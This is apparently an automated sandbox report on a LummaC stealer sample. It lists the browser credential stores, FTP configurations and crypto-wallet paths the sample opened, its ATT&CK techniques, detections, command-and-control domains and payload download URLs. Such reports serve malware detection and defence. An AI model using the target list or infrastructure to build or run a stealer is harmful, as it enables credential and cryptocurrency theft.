Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2213320242.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5128, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5128, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=169648449	0%	Avira URL Cloud	safe
https://cook-rain.sbs/L	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiE	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.16.132	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_107.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/L	file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334073576.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334202682.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_107.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://cook-rain.sbs/apiE	file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_	file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427343536.00000000057C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_107.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_99.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_107.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_107.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_107.7.dr, chromecache_70.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_87.7.dr, chromecache_99.7.dr	false		high
http://185.215.113.16/off/def.exel	file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://github.com/gewarren	chromecache_107.7.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2422704141.0000000000D3B000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2195884209.00000000057EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_107.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_107.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_107.7.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://aka.ms/certhelp	chromecache_87.7.dr, chromecache_99.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, file.exe, 00000000.00000003.2210538557.000000000583E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213389979.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213547728.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224176722.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2227774944.000000000583D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2428759644.000000000583E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233577604.000000000583D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213320242.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_107.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_99.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=169648449	file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_107.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_107.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://github.com/adegeo	chromecache_107.7.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.2333942261.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_87.7.dr, chromecache_99.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_87.7.dr, chromecache_99.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_107.7.dr	false		high
https://channel9.msdn.com/	chromecache_87.7.dr, chromecache_99.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_87.7.dr, chromecache_99.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558933
Start date and time:	2024-11-20 00:18:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/65@9/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 217.20.57.35, 216.58.206.67, 184.28.89.167, 142.251.173.84, 142.250.186.46, 95.101.150.2, 34.104.35.123, 2.19.126.132, 2.19.126.137, 216.58.212.138, 142.250.186.170, 142.250.186.42, 142.250.185.106, 142.250.184.234, 172.217.18.10, 216.58.206.42, 142.250.185.74, 216.58.206.74, 172.217.16.202, 142.250.186.138, 216.58.212.170, 172.217.23.106, 142.250.186.106, 142.250.184.202, 172.217.16.138, 104.208.16.91, 13.74.129.1, 204.79.197.237, 13.107.21.237, 20.42.73.24, 142.250.184.227, 216.58.206.46
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, onedscolprdeus03.eastus.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdcus17.centralus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net
Execution Graph export aborted for target file.exe, PID 5128 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:19:04	API Interceptor	9x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
